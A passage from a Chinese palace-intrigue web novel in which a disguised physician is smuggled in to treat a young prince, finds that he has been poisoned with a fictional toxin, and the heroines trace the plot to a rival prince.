“哎呦,你不要害羞嘛,咱们都是自己人,你这么害羞做什么!”洛希瑶道。 内侍原本还一头雾水,听见那‘宫女’开口说话的一瞬,那粗狂的嗓音,顿时惊得眼都瞪圆了。 等洛希瑶将人掰转身来,看见脸的那一刻,内侍整个人更是像被雷劈了一般。 只见这位身材高大的‘宫女’,普通的宫女发髻下,是一张宽厚的脸。 上头抹了一层厚厚的脂粉,白的吓人,眉毛粗粗的,似是眉笔勾勒过,再配上一嘴大红唇,似是血盆大口一般。 怎一个精彩了得。 若不是这人是平宁郡主带来的,内侍只怕要大呼将侍卫喊来了。 裴凉川原本还扭扭捏捏的不肯转头,一抬眼,就看到内侍那堪称惊悚的表情,顿时更觉丢脸,想要转身躲起来。 却偏偏被洛希瑶死命拉着,强制性不让他转身。 裴凉川心中气极,索性破罐子破摔,一把甩开洛希瑶的手,朝那内侍道:“笑吧,笑吧,想笑就笑吧,遮遮掩掩的做什么。” 他这话一出,内侍顿时也忍不住了,噗嗤一声笑了出来。 洛希瑶的眼中也藏着笑意,嘴角抑制不住地往上扬,可是她又怕裴凉川恼羞成怒,只能强忍着。 裴凉川说是说让内侍笑,可是等内侍真毫无顾忌笑了起来,裴凉川心里又不舒坦了。 他恶狠狠地瞪向洛希瑶,语含怒气道:“看病就看病,你为何要将我弄成这样,弄成这样,我如何能见人?” “不治了,不治了!你另请高明吧!” 说着,裴凉川作势就要走。 若不是看在安锦的面子上,安锦又听从沈小姐的话,他才不会接受这一身打扮进宫。 不说他自己原本的装扮,起码拿件太监的衣裳给他吧? 这男扮女装,算怎么回事? 男扮女装也就罢了,竟还让他扮丑! 他尽管有十分美貌,这样一通折腾下来,也一分不剩了! 裴凉川一想起这一路进宫,不知多少人用奇怪的眼光打量他,他就气不打一处来。 见裴凉川要撂挑子不干了,洛希瑶顿时心中一惊,连忙攥住他的衣袖,安抚道:“裴神医,裴神医你别生气嘛,我这也是没有办法的事情。” “我若是不这样做,说你是我身边的婢女,犯了错被我处罚扮丑,我如何能将你带进来?” “你身形高大,与宫里的宫女自是不同,只有让别人的注意力都集中在你扮丑的脸上,才会让人忽略这些细节之处。” “此番多有得罪之处,还请见谅。” “还请你先给谢小五看病,事后心中若还有什么不愉快之处,尽管冲我来。” 洛希瑶的态度十分诚恳,抓住裴凉川衣袖的手很紧,生怕裴凉川真的不看病了。 这宫里的太医都治不了五皇子,眼下在洛希瑶的心中,裴凉川已经是最后一棵救命稻草了。 无论结果如何,都得试上一试才知晓。 总不能真让谢小五等死吧。 洛希瑶原本也不相信以裴凉川这般年纪能有多高超的医术,但是当沈琼华将之前谢南渊中毒的事情说与她听,洛希瑶便再无顾忌。 高兴五皇子或许有救的同时,洛希瑶也陷入了深深的自责当中。 表哥中毒的事情,她竟从头至尾都不知晓,甚至表哥病愈了,她也毫不知情,只一心以为是重伤痊愈了。 她竟如此忽视了身边的亲人。 所以对于此次五皇子的病,洛希瑶下定了决心一定将想办法将五皇子治好。 洛希瑶对裴凉川十分有信心。 裴凉川既然能将表哥治好,肯定也能将谢小五治好……吧? 好在裴凉川也不是真的要走,就是心里气不过吓唬吓唬洛希瑶,被洛希瑶拽了两下就停住了脚步。 他要是就这样空手回去,即便是沈琼华不说什么,安锦肯定也要跟他闹。 再者,他也许久没开张了,难得生意找上门了,只要银子到位,客人要求多一点也不是不行。 当然,只是一点点。 这程度显然已经超过了一点点的范畴。 但看着安锦的面子上,他也不是不能忍。 “哎呦,都说了别拉拉扯扯的,要是误会了,我回去还怎么跟我家安锦交代!”裴凉川尖叫道。 那样子活脱脱像极了街上的良家妇女遇到恶霸,抵死不从的样子。 洛希瑶听见这话,嘴角一抽,见裴凉川停住了脚步,立马放开了手,一副悉听尊便的模样。 内侍看这情形也知晓只怕眼前这位‘宫女’不是一般人,连忙掩下了嘴角的笑意,恢复成惯常恭恭敬敬的样子。 裴凉川见状,这才收敛些,恢复正常,理了理衣袖道:“人呢?” 洛希瑶立马看向内侍。 内侍有些手足无措地道:“郡……郡主,您不会是要奴才带他去见殿下吧?” 洛希瑶狠狠点头,“自然,他是我找来给谢小五看病的大夫。” 大夫? “这人是大夫?”内侍尖叫道,像是看到了十分不可思议的事情。 这人的行为举止,哪一点像个大夫! 第三百五十章混入 或许是内侍的反应太过于‘诧异’,裴凉川下巴微扬,双手抱臂道:“怎么?你不相信我的医术?” 当然不相信! 内侍嘴唇微动,却接收到了洛希瑶的眼神暗示,到嘴的话顿时便咽了回去。 洛希瑶笑得一脸谄媚,“怎么会,裴神医妙手回春,医术高强,连表哥的混毒都能解得了,谢小五这区区小小的风寒又怎能难得倒你呢。” 这话听着倒是有些舒服,裴凉川很是受用。 “既然如此,那便带我去见那五皇子吧。” “赶紧的,我还要赶回食鼎楼帮我家安锦干活呢。”裴凉川淡淡道。 “哎,好哩。”洛希瑶应下,随即看向内侍。 内侍一脸迟疑,隐晦地瞥了裴凉川那张五彩斑斓的脸一眼。 难不成真要将殿下的性命托付在这种人的手上吗? 会不会适得其反,使得殿下的病更加严重了? 若是殿下出了什么事情,皇上责怪下来,他可担待不起。 可是平宁郡主也不会害殿下的…… 内侍的眼神在洛希瑶和裴凉川之间来回游移,最后定格在洛希瑶的身上。 他朝洛希瑶微微躬身,道:“还请郡主借一步说话。” 洛希瑶朝裴凉川笑了一下,道:“裴神医稍候。” 裴凉川冷哼一声,抬头望天,摆足了神医的架子。 洛希瑶见他没有生气,这才放心跟着内侍离开。 内侍带着洛希瑶走远了些,确定裴凉川应当听不到了,这才停下。 转身压低声音道:“郡主,您会不会是被人骗了?” “事关殿下的身体,若是出了什么事情,奴才实在是担待不起。” 内侍知晓五皇子和洛希瑶之间感情深厚,定然不会害五皇子。 所以他便觉着是洛希瑶被人忽悠了。 毕竟裴凉川看起来着实是年轻了些,也不知有没有二十岁。 五皇子的病连太医院的太医都束手无策,这医术比太医还高的,不说庞眉皓发,也不该如此年轻才是。 洛希瑶闻言,拍着胸脯道:“这个你放心,我这点分辨能力还是有的,裴神医的来历绝对清白,不是那等招摇撞骗之辈。” 若是琼华介绍的医者她都不放心,那其他的就更不敢相信了。 再者,当初连太医院的院正都未曾看出表哥中毒了,却被裴凉川看了出来。 还能将表哥体内的毒都解了。 说明裴凉川还是有些本事在身上的。 洛希瑶对他有信心。 “可是……”内侍还是有些担心。 洛希瑶道:“你放心便是,表哥……表哥前年重伤身体虚弱,事后也是这位裴神医帮忙调理的,是信得过的。” “再说了,如今谢小五都这样了,太医也没有别的法子,总不能真的让谢小五等死吧。” “也只能死马当活马医了,说不定就能歪打正着呢。” 洛希瑶思虑再三,还是没有将谢南渊之前中毒的事情说出来。 事情都过去了那么久,既然当初表哥没有说出来,自然有他的考量,她就不多嘴了。 内侍听到裴凉川帮谢南渊调理过身体,看向裴凉川的眼神当即就不一样了。 当初瑞王重伤,身体虚弱那是有目共睹的。 即便是未经皇上的允许不能探查瑞王的脉案,但从瑞王的脸色中也能探知一二。 殿下与瑞王向来亲近。 见面的次数相较于其他皇子都多得多。 而他身为五皇子的贴身内侍,自然也能从些许细微之处察觉出瑞王身体的变化。 瑞王的身体之前由院正调养了大半年都未曾有起色,却在后来逐渐好转,难不成正是这位裴神医的功劳? 想到这里,内侍顿时激动起来。 别看他现在还一副颇得五皇子倚重的样子,但心里也是慌乱得不行。 他身为五皇子的贴身内侍,向来得五皇子看重,五皇子此劫若是能熬过去也就罢了,若是熬不过去,只怕皇上第一个就要杀他泄愤。 毕竟五皇子虽然不如瑞王一般受皇上宠爱,但毕竟是幼子,难免偏疼几分。 帝王若是伤心之下要泄愤,哪里会将他这样的奴才放在眼中,一句话便能要了她的命。 即便是五皇子替他求情保下了一条命,他今后的日子也不会好过。 再者,五皇子虽为皇子,为人却谦和,待身边的奴才也好,从不随意打骂苛责。 在这样的深宫里,能跟着这样一位主子,内侍只觉得自己无比幸运。 打心里不希望五皇子这样好的人,就这样死去。 所以,当内侍和洛希瑶重新回到裴凉川的面前时,内侍眼中的怀疑早已消失殆尽,取代而之的是恭敬和希冀。 他迫切希望裴凉川真的能救五皇子。 “呦,怎么?商量好了?”裴凉川道,语气里是一贯的吊儿郎当,“怎么样?到底要不要治,不治的话就赶紧带我出宫吧,我还有事呢。” 这下,不用洛希瑶开口,内侍便极尽谦卑的道:“奴才有眼无珠,不知您医术如此高超,方才多有得罪,还望您海涵。” “任打任罚奴才都可以,还望您能不计前嫌,竭力救治殿下。” 内侍态度很是诚恳,眼中隐含泪花。 裴凉川也不是那等心胸狭窄之人,摆了摆手,道:“行了行了,赶紧带我去吧,这都耽搁多久的功夫了,我还急着出宫呢。” 见裴凉川不与他计较,内侍便知方才那事算是过去了。 当即露出微笑,恭敬道:“还请神医稍安勿躁,奴才先带您和郡主先换身装扮,等天再暗些,视线朦胧之际,再混进去。” 洛希瑶指了指自己,道:“我就不进去了吧,外面有侍卫守着,你能带一个人进去已是不易,我还是在外面等着吧。” 内侍道:“郡主不必忧心,奴才自有办法。” “再者殿下已经多日未曾见过郡主了,很是想念郡主。” 洛希瑶听到他这样说,便也应下了。 内侍拎着裴凉川与洛希瑶来到了一个偏僻的寝殿外,分别给了二人一套太监的服饰,让二人轮流去寝殿内换上。 然后又打了一盆水来给裴凉川洗脸。 裴凉川之所以扮丑,是为了以洛希瑶婢女的身份进宫。 可如今皇上不允许任何人探望五皇子,打扰五皇子养病,连洛希瑶都不例外,更何况她的婢女了。 因此只能再换个身份。 等裴凉川和洛希瑶都收拾妥当了,内侍便将不知从哪儿摘的一大捧梅花树枝一分为二,分别递给二人。 深棕色的树枝上,一朵朵红梅竞相开放,花瓣上还沾着些许露珠,看着喜庆极了。 洛希瑶和裴凉川都抱了个满怀,这才跟着内侍亦步亦趋地朝五皇子的宫殿走去。 第三百五十一章像是防着别人害谢小五似的 “慢着!” 果然,方才走近,一行人便被守在外围的侍卫给拦住了。 内侍不慌不忙地从怀中掏出一块令牌来,道:“我是五皇子的贴身内侍,怎么,这才出来一会儿功夫,你们就不认识我了?” “福公公是五皇子最信赖的人,我们如何会不认识福公公,只是……皇上吩咐了,任何陌生人等都不能随意进入五皇子殿下的寝殿。” “可我怎么瞧着,福公公身后这两位小公公,有些眼生啊,貌似不是五皇子身边的人吧?”侍卫有些迟疑道。 不怪他们如此小心谨慎,实在是皇上因着五皇子重病一事心情很不好。 皇上下旨不许任何闲杂人等出入五皇子寝殿,他们若是不仔细盘查些,若是五皇子出了什么意外,只怕他们这些侍卫的项上人头都要保不住了。 “你这是什么意思,难道我还会害五皇子不成?”福公公眉心一蹙,沉声道。 “福公公误会了,我们不是这个意思。”侍卫笑着道,“这只是例行盘问罢了,咱们也都是为了五皇子着想嘛。” 他们怀疑谁,也不会怀疑到这位福公公身上。 毕竟若是五皇子出了事,首当其冲的便是这位一直在五皇子身边服侍的福公公。 没有人会自寻死路。 他们也只是怕这位福公公贸然带人进来,怕他被人利用,会害死了大家。 福公公哼冷一声,道:“把心放到肚子里便是,这两位都是宫里花房的小太监。” “五皇子缠绵病榻数日,早就有些精神萎靡,心情郁结,今日突然想看梅花了,但这外头天寒地冻的,若是要出寝殿赏梅。” “这一来,殿下的身子遭不住,出来一回,被寒风一吹,只怕要这病要重上加重。” “这二来,违背了皇上的意思,只怕你们也难做。” “所以,我便想着让人摘了梅花,回来插到花瓶里供殿下观赏。” “殿下心情好了,这病自然也就好的快了。” 侍卫们听到五皇子这大冬天的想要赏梅,一颗心都提起来了,待听到后面,才算松了一口气。 “公公考虑周全,我等自愧不如。” “只是这梅花,不如让我们给公公拿进去吧,就不劳这二位了。” 这是还是有些不放心呢。 洛希瑶低着头,听见侍卫们的话眉心一蹙。 难怪之前圈禁的谣言传得那般沸沸扬扬,这架势是不是太过了一些。 即便是不想让其他人打扰谢小五养病,也未免太严苛了一些,也不知皇上是怎么想的。 这架势不像是养病,倒像是防着别人害谢小五似的。 这个念头在洛希瑶脑中一闪而过,随即又被她给摒弃了。 若是皇上知道有人要害谢小五,直接将人抓起来便是,何必来这一招,岂非多此一举。 只是如今这情形,也不知能不能顺利进去。 福公公听到侍卫的话,目露嫌弃,尖着嗓子道:“你们?你们这些大老粗知道些什么?” “你们知道哪些形状的梅花树枝配哪个花瓶好看吗,知道体型不同的花瓶应当装几支最合适吗,知道插好后哪种方位观赏最佳吗?” “什么都不知道,就敢开口?” 侍卫们面面相觑,其中一个忍不住嘀咕道:“看个梅花还有那么多讲究?” 福公公没好气道:“那是当然,不然我吃饱了撑的摘这么多,随便掐几朵梅花不就行了,这些梅花还要再经过筛选,选出最好的插在花瓶里才行。” “如此,殿下开心了,心情才能好些。” “这两个小太监都是经过内务府筛选过的,对这些最是精通,我方才带他们来。” “等他们插完了花瓶,自然就离开了。” “你们还不快让开,不要在这耽搁时间,不然五皇子不高兴了,在皇上面前说了些什么,当心你们吃不了兜着走。” 侍卫们见福公公都这样说了,而他们也确实不懂这些所谓的风雅之事,便也只能放人进去了。 通过了那些侍卫,洛希瑶这才松了一口气。 她小声打趣福公公,“小福子,没看出来,你脾气还挺大的。” 福公公有些惶恐,道:“郡主就不要打趣奴才了,若是不这样,他们是断不可能放人进来的。” “哎,你慌什么,我就是随意一说而已。”洛希瑶道。 那些侍卫守的地方距离寝殿并不远,这么几句话的功夫,洛希瑶一行人便到了。 早在远处时,洛希瑶便问到了一股药味,此刻只隔着一扇门,这股药味便愈发浓郁了。 福公公打开门,示意洛希瑶进去。 人都已经到了门前,洛希瑶却迟迟迈不动脚步。 她心里很害怕。 她怕她会看见一个比上次病得更厉害,形销骨立的谢小五。 还是裴凉川率先一步走了进去。 裴凉川行医这么多年,对那些生离死别,感触早就没有那么深了。 更何况,他对自己的医术有信心。 这世上连他都治不好的病,还真没有多少。 裴凉川大大咧咧地进去了,洛希瑶看了他一眼,深吸一口气,脸上扬起大大的笑容,也跟了进去。 福公公跟着进去,随即将门关上。 —— 屋内。 洛希瑶将手中的梅花树枝都放到了桌上,掩住眼中的担忧。 一边朝屏风后的床榻走去,一边尽量用开心愉悦的语气道: “谢小五,本郡主来看你了,还不快来迎接本郡主!” 第三百五十二章发现中毒 虚掩着的窗幔后,一道虚弱又无力的声音飘了出来。 “是……是平宁姐姐吗?” 洛希瑶心里咯噔一声,加快脚步上前,拉开窗幔。 只见原本清俊活泼的半大少年病恹恹地歪躺在床榻上,面色苍白,眼下乌青,身形消瘦得厉害,风一吹就倒似的。 相较于之前,病得更加厉害了,之前脸上还有些肉,如今…… 五皇子看见真的是洛希瑶,原本疲惫无力的眼神顿时划过一抹惊喜,瘫软的身体似乎都重新有了些许力气。 他干涩苍白的嘴唇微动,刚想说些什么,却又忍不住手捂住嘴,低头咳了起来。 洛希瑶见状,急忙弯身轻轻拍着五皇子的背,试图这样就能让五皇子好受一些。 可终究是无用的。 五皇子的咳嗽声越来越大,原本面色眨眼间便涨得通红,整个身子都蜷缩了起来,似是用尽了全身力气,要将心肝肺都咳出来一般。 突然,洛希瑶捕捉到了五皇子白皙指缝中溢出的一丝鲜红。 她惊呼道:“血……血!” 福公公立刻从袖中掏出一方帕子,极为熟稔又迅速地递给五皇子。 洛希瑶还是第一次见五皇子咳血,整个人都慌了神。 慌乱之下瞥见一旁早就不客气坐在椅子上,抖着脚的裴凉川,立马朝裴凉川奔去,抓住裴凉川的衣袖便将人拖拽至五皇子跟前。 “裴神医,你快……快给谢小五看看,看看他的病如何了。” “哎呀,你别急,别急,一时半会不会有事的,别拉拉扯扯的。”裴凉川道,等洛希瑶松开了他,他才看向五皇子。 “将手伸出来吧。” 五皇子此刻已经缓过来了,将带血的帕子交给福公公处理,随后眼神落在裴凉川身上。 面带疑惑与不解道:“这位是……” 洛希瑶赶紧解释道:“这位是裴神医,我带他进宫来给你看病的,赶紧将手伸出来让他给你看看。” 五皇子虽然已经不抱有希望了,但还是听从洛希瑶的话将手伸了出去。 裴凉川淡定从容地在床沿边坐下,将手搭了上去。 五皇子见洛希瑶满脸紧张的模样,不禁苦笑一声,道:“平宁姐姐,你就别白费功夫了,我这病来势汹汹,又颇为奇怪,连太医们都没有法子治好。” “我,咳咳……我怕是等不到三哥回来了。” 洛希瑶本就紧张的不行,听到五皇子的话,顿时没好气的曲指巧了一下五皇子的脑门。 “胡说!不准说这些丧气的话,你一定会没事的!” “你若是没了,等你三哥回来,还不得骂死我!你故意想害我是不是!”洛希瑶怒道。 “可是……”五皇子还想说些什么,触及到洛希瑶扫过来的凌厉的眼神,顿时咽了回去,只是嘴角微微上扬。 福公公站在一旁,心中颇为感慨。 殿下病了这么多日,整日郁郁,唯有平宁郡主来的两次才能让殿下开颜。 皇上虽几乎每日都来看望殿下,但皇上积威甚久,殿下在皇上面前始终有些拘谨,不如与平宁郡主相处时轻松,二人犹如姐弟一般。 殿内一时间安静了下来,所有人的目光都落在了裴凉川的身上。 洛希瑶见裴凉川眉头紧蹙,心中一紧,小声地询问道:“裴神医,可是有何不妥?” 该不会连他也没有办法治好谢小五吧? 裴凉川却并未回答洛希瑶的话,而是让五皇子将另一只手伸出来。 五皇子依言照做。 裴凉川将手搭上去,把了一会儿脉后,眉头愈发紧蹙,良久后才将手收回。 洛希瑶迫不及待问道:“裴神医,怎么样,如何了?” 裴凉川沉声道:“五皇子这不是风寒,是中毒了。” “中毒!” “中毒!” 洛希瑶与福公公惊呼。 五皇子眼睛都瞪圆了,显然也很是震惊。 “谁敢在皇宫内公然向皇子下毒?”洛希瑶下意识看向了福公公。 福公公见洛希瑶望过来,还以为洛希瑶怀疑是他下的毒,连忙摇头解释道:“郡主,这与奴才无关啊,奴才怎么会害殿下。” 洛希瑶:“本郡主知道,你反应这么大做什么?” 五皇子从自己中毒的消息中缓过神来,愣愣地看向裴凉川,道:“我中毒了?可……可太医们为何都没查出来?” 裴凉川似是早知道五皇子有此一问,不慌不忙道:“五皇子,你所中之毒名叫‘二月散’,中毒之后,一开始症状仅仅是如得了风寒一般,发热咳嗽。” “待过了三日之后,发热消退,咳嗽渐重,身形逐渐消瘦,手脚开始无力。” “先是挠心挠肺咳了十几日,在这段期间,若是中毒之人情绪不稳,大喜大悲,极容易发生心悸亦或是呕血,以致猝死。” “若是熬过了这段时间,接下来就是咳血,生生咳血至死亡为止。” “因为中毒之人一般都活不过两个月,所以被称作‘二月散’。” “此毒极为歹毒,一直折磨人的身体和意志,眼睁睁地看着自己咳血走向死亡却毫无办法。” “此毒前期症状与风寒极为相似,且并不隶属越国,那些太医分辨不出来也是有的,便是我,也是早年间游历各国时,曾在陈国境内见过。” 裴凉川话音一落,洛希瑶便忍不住一掌拍在了桌子上。 “到底是谁,竟这般恶毒!” 谢小五不过是个半大少年,竟对他下此等毒手! 洛希瑶心里有些许猜测,可现在不是说这些话的时候,最重要的是这毒能不能解。 太医院的太医连谢小五中毒都没看出来,想必是解不了的,眼下所有的希望都在裴凉川的身上。 思及此,洛希瑶迫不及待看向裴凉川,“裴神医,你可有法子解这毒?” 五皇子闻言也眼含泪花地看着裴凉川,眼中满是希冀。 到底是个半大的孩子,若是懵懵懂懂地死了也就罢了,如今知晓要生生咳死,如何能不害怕。 裴凉川深深地叹了一口气,眼神似是有些不忍。 见他这般模样,洛希瑶一颗心直往下沉。 若是……若是……那谢小五该怎么办? 这么短的时间内,从哪里去找比裴凉川还要医术高超,还要会解‘二月咳’的医者? 就在洛希瑶几欲落泪之时,裴凉川陡然变了脸,笑着嘚瑟道:“那是自然,本神医识得出此毒,自然就解得了。” 他这一下大变脸,可是将这屋内除了他之外的其他三人都吓得不行。 洛希瑶都差点直接瘫软在了地上,偏偏她还不能埋怨。 谁让人家有本事,会解‘二月咳’呢,得罪不起。 “那……那还等什么,裴神医,赶紧开始治疗吧。”洛希瑶道。 早一日接受治疗,谢小五便早一日脱离病痛的折磨。 福公公也赶紧道:“裴神医需要什么尽管说,若是能办到的,奴才一定办到。” 裴凉川见这二人激动的样子,道:“急什么,不差这一两日的。” 洛希瑶:“……” 福公公:“……” 什么意思? 裴凉川见这二人傻愣愣地看着他,有些无语道:“你们是不是忘了今日是如何进来的?” 第三百五十三章最了解你的,永远是你的敌人 洛希瑶表情一滞。 裴凉川接着道:“我现在可是属于违抗圣旨,若是被人发现了,十个脑袋都不够砍的。” “五皇子这病,一时半会可治不好,他如今已经到了‘二月咳’的最后一个阶段,身子太弱了,承受不了解药的威力。” “要一边用温和的药温养身子,一边抑制他体内的毒,等他的身子养好了,再解毒,这可不是一日两日的功夫。” “咱们今日借着插花瓶混进来,总不能日日都如此吧,再说了,五皇子的身体好转,皇上和那些太医能看不出来?” “还是得找个办法才是。” 这话说得有些道理,况且他们是进来插花瓶的,也不好在里面久待,不然容易让那些侍卫发现端倪。 洛希瑶有些迟疑地看向裴凉川,“那……那谢小五这个样子……” 裴凉川往衣袖里掏了掏,掏出一个白瓷瓶,从里面倒出两颗黄豆大小的药丸。 想了想,又放回去一颗。 拿着剩下的那一颗朝五皇子走近,直接塞进了五皇子的嘴里。 “呐,这是我特制的药丸,有压制毒性的作用,虽解不了你的毒,却能让你的身体情况不再恶化,也能减少你咳血的痛苦,时效三日。” “这可是我废了老大力气制作出来的,原材料很贵的。” 最后三个字,裴凉川咬得极重。 洛希瑶的眼睛蹭地一下就亮了,“裴神医,这么好的东西,多来几颗呗。” 裴.睁眼说瞎话.凉川:“没了。” 洛希瑶:“……” 福公公:“……” 五皇子:“……” 都看着他手中那装得满满当当的白瓷瓶。 也不能上手抢不是。 洛希瑶轻咳一声,摸了摸五皇子的头,道:“谢小五,你安心养身体,本郡主不会让你死的。” 时辰不早了,若是再待下去恐怕会惹人生疑。 洛希瑶只能又安抚了五皇子几句,收拾好情绪,就与裴凉川一起跟在福公公身后离开了。 二人换回了进宫前的装扮,出了宫门,便直奔沈家。 —— 沈家。 沈琼华的院内。 沈琼华知晓五皇子并非重病,而是中毒后,也很是惊诧。 她斩钉截铁道:“这必是安王下的毒。” 除了安王,不会有别人。 这是觉着除了谢南渊,五皇子也挡了他的路? 对一个堪堪十一岁的少年出手,真是连脸都不要了。 就是不知道他从哪儿来的这么多罕见的毒,连太医院的太医都不曾见过,幸好有裴凉川在。 洛希瑶听到沈琼华的话,连连点头,“琼华,我也觉着是安王下的毒,只是我想不明白,他在这个节骨眼上下毒,就不怕引人怀疑吗?” “再者,谢小五只不过是个半大的孩子,又不曾挡了他的路,他为何要对谢小五下手?” 沈琼华听到洛希瑶的话冷笑一声,“为何对五皇子下手?” “自然是五皇子碍了他的眼。” “安王此人最是心狠手辣不过。” “如今王爷在生死不明,皇上膝下的几位皇子中,大皇子身体有疾,四皇子不堪大任,不思进取,皇上定然不会将这二位封为太子。” “唯独剩下一个五皇子,虽然顺贵嫔的出身遭人诟病,但五皇子自身却没有什么问题,皇上对这个幼子也算得上是关爱。” “皇上正值壮年,还能活多久还未可知,若是等过几年,五皇子长大了,皇上若是不想立安王未太子,还能立五皇子了。” “安王此举,是想将最后一丝不确定的因素铲除,让皇上没有挑选的余地,只能立他为太子。” “你的意思是安王觉得谢小五会跟他抢太子之位?”洛希瑶嘴巴长大,很是吃惊,忍不住怒骂道:“简直是个疯子!逮谁咬谁!” “谢小五从来没有当太子的想法,他从小便被拘在皇宫中,没有自由,只想长大后出宫游历。” “他竟为了没有一点苗头的事情,就下毒害谢小五。” “你是这样觉得的,安王可不会这么想,他已经为了那太子之位着了魔,觉得所有人都要与他抢。”沈琼华冷笑道。 “至于你说的引人怀疑……哼,那‘二月散’的毒药就是他给自己洗脱嫌疑的手段。” 嗯?什么意思? 洛希瑶眼中满是茫然。 沈琼华见她没想到,提点道:“裴神医说服下那毒药后,咳嗽期间不能有太大的情绪波动,不能大喜大悲,否则……” 洛希瑶顿时眼睛瞪得溜圆,整个人都要从椅子上蹦起来了,“你是说,他想将谢小五的死推到表哥身上?” 沈琼华淡淡地嗯了一声,道:“不然世上那么多毒药,安王为何偏偏选‘二月散’。” “王爷重伤失踪,生死不明,五皇子与王爷关系一向亲近,担忧王爷,夜不能寐,以致得了风寒,一病不起。” “后,听闻王爷身死噩耗,伤心悲痛之下,竟撒手追随王爷而去。” “病因,死因,皆因王爷而起,是五皇子与王爷手足情深之故,与他安王爷有何关系。” “只不过他千算万算,没料到十多日过去了,至今都没有王爷身死的消息传回来,计划出了纰漏,让五皇子撑到了咳血期。” “我猜,只怕如今安王心里也有点慌呢。” 不得不说,最了解你的,永远是你的敌人。 沈琼华一下就将谢祁安的计划猜着了个七七八八。 第三百五十四章裴凉川面圣 洛希瑶气得脸色涨红,一掌拍在扶手上,震得手掌发麻。 满是怒气道:“这个安王,真是无耻至极!” 若是真如琼华所说的那样,表哥即使是死了,还得背个害死兄弟的罪名。 既毁了表哥的身后名,又除掉了他的眼中钉,安王还真是打得一手的好算盘。 不行! 无论是为了表哥还是为了谢小五,都不能让安王的计划得逞! 洛希瑶强迫自己冷静下来,看向沈琼华,“琼华,如今谢小五被那些侍卫看管的极严,我们该怎么办?” 如今在洛希瑶心中,沈琼华无异于主心骨一般的存在,遇到事情,洛希瑶下意识便询问沈琼华的意见。 沈琼华沉思了一瞬,而后看向一直坐在太师椅上抖腿的裴凉川。 裴凉川嘚瑟的动作一僵,心中突然升起一股不好的预感。 他连连摆手道:“别看我,我可没有办法,我只是个看病的。” “还有啊,你们别指望我日日都如今日一般扮丑混进宫,不可能,绝对不可能!” 女扮男装,扮丑,这等奇耻大辱之事,有一次就已经够丢脸的了,若是再来几次,他宁愿不挣这个银子。 沈琼华轻笑,道:“裴神医不必如此抗拒,不会再让你扮丑的,这一回咱们不遮遮掩掩的了。” 洛希瑶有些疑惑,“琼华,你的意思是……” 沈琼华眉梢微挑,握住洛希瑶的手,道:“你既说五皇子寝殿守卫严格,轻易不得人进出,想必是皇上也察觉到有些不对劲了。” “既然安王那么喜欢玩阴的,那咱们就将事情摆到明面上,堂堂正正去给五皇子解毒。” “且看安王要如何应对!” 说着,沈琼华的目光又落到裴凉川的身上,轻笑道:“裴神医,这做的可是皇家的生意,你狮子大开口的机会来了。” 裴凉川身形一滞,那双放荡不羁的眼睛蹭地一下亮了。 —— 竖日一早。 太极殿。 谢荣正在李顺全的服侍下换下朝服,打算一会儿去看五皇子。 一个小太监急匆匆进来,见着这副场景欲言又止。 李顺全刚替谢荣系好腰带,抬头就看见谢荣蹙眉看着那小太监,心里咯噔一声。 皇上这段时间因着五皇子的病情,心情一直不好。 如今只怕是这小子碍着皇上的眼了。 这小太监在太极殿当差也有些日子了,嘴还算甜,行事也较为稳妥,李顺全也不想他因迁怒而丢了性命。 当即眼珠一转,往后退了两步,佯装差点被那小太监绊倒。 随后转身就在那小太监的帽子上狠狠敲了一下,道:“你这小兔崽子,鬼鬼祟祟地干什么呢!” “奴……奴才……”小太监支支吾吾。 李顺全恨铁不成钢道:“说啊,在皇上跟前有什么不能说的,还不如实禀报!” 接收到李顺全的眼神,小太监这才顶着谢荣审视的眼神,开口道:“启禀皇上,平宁郡主求见。” 平宁郡主? 这大清早的平宁郡主为何会来求见? 难道是想要探望五皇子? 李顺全见皇上神色更加不虞了,连忙道:“平宁郡主可有说何事?” 小太监道:“平宁郡主说,她寻到一个神医,想要让那神医给五皇子看看。” 神医? 这下李顺全也不敢再多嘴了。 五皇子的病如今是皇上心头的一根刺,他也不敢去触碰这根刺。 谢荣蹙眉沉吟一瞬,道:“宣平宁郡主,那所谓的神医,暂时先不用放进来。” “是。”小太监立刻退了下去。 不一会,洛希瑶便进来了。 她看向坐在龙椅上满身威仪的谢荣,缓缓跪下行礼道:“平宁参加皇上!” “平身吧!” “谢皇上!”洛希瑶缓缓站起身。 谢荣嘴角勾起一抹笑,神色和蔼道:“平宁郡主,朕听说你找了个医者来给五皇子看病?” 洛希瑶颔首,“是的,皇上。” 谢荣迟疑道:“你怕是有所不知,五皇子此病极为怪异,原本与风寒之症一般无二,治疗后不见好反而一日比一日消瘦下去,连太医院的太医们都束手无策,这外头的医者……” 说到底,还是有些不放心。 洛希瑶拱手道:“皇上且放心,这位医者绝对是有几分本事的,当初连表哥都是他治好的。” 这是洛希瑶与沈琼华一起商量好的,若是皇上不让裴凉川给五皇子治病,便将谢南渊之前中毒的事情告知于皇上。 只是,以怎样的方式说出来,却是要掌握好分寸。 最好既能达到目的又能让皇上怀疑安王。 这就要看洛希瑶与裴凉川的配合了。 “哦,是曾给渊儿治疗过的医者?” 提到谢南渊,谢荣语气低落了些,脸上的哀伤一闪而过。 但很快又打起精神来,道:“既如此,想必是信得过的,李顺全!” 李顺全立刻会意,转身出了大殿。 待再回来时,一张老脸上的表情颇有些精彩。 裴凉川今日是光明正大进宫的,自是不必再男扮女装穿那宫女的服饰。 于是他又换回了他那身十分扎眼的装扮,黄金冠,黄金腰带,手上还拿着一把黄金制成的折扇。 甚至因着头一次见皇帝,裴凉川的心情有些兴奋,今日身上穿着的衣裳边缘都是用金线勾勒过的。 妥妥一个暴发户的模样。 “草民拜见皇上!”裴凉川行礼道。 谢荣神情一滞,他看向洛希瑶,再三确认道:“你说他是医者?” 洛希瑶有些尴尬地点了点头。 谢荣轻咳一声,道:“平身吧。” 裴凉川立刻站直身体。 谢荣眯着眼仔细打量了裴凉川一番,这才开口道:“你曾给渊儿治过病?” 裴凉川缓缓摇头,在谢荣愈加锋利的目光中,开口道:“并不曾看病,只是解过毒。” 解毒? 谢荣一愣,待反应过来后,不可置信道:“你的意思是渊儿之前并非是重伤未愈,而是中毒了?” 裴凉川点头。 “渊儿之前并未与朕说过他中毒了……”谢荣喃喃道,目光落在了洛希瑶身上。 洛希瑶连忙道:“皇上,臣女在今日之前也并不知晓,想必是瑞王殿下不愿亲人为他担忧才隐瞒不说。” “臣女之所以识得裴神医,是因为之前去瑞王府时,偶然碰见过裴神医一次,知晓他便是为瑞王殿下治病之人。” 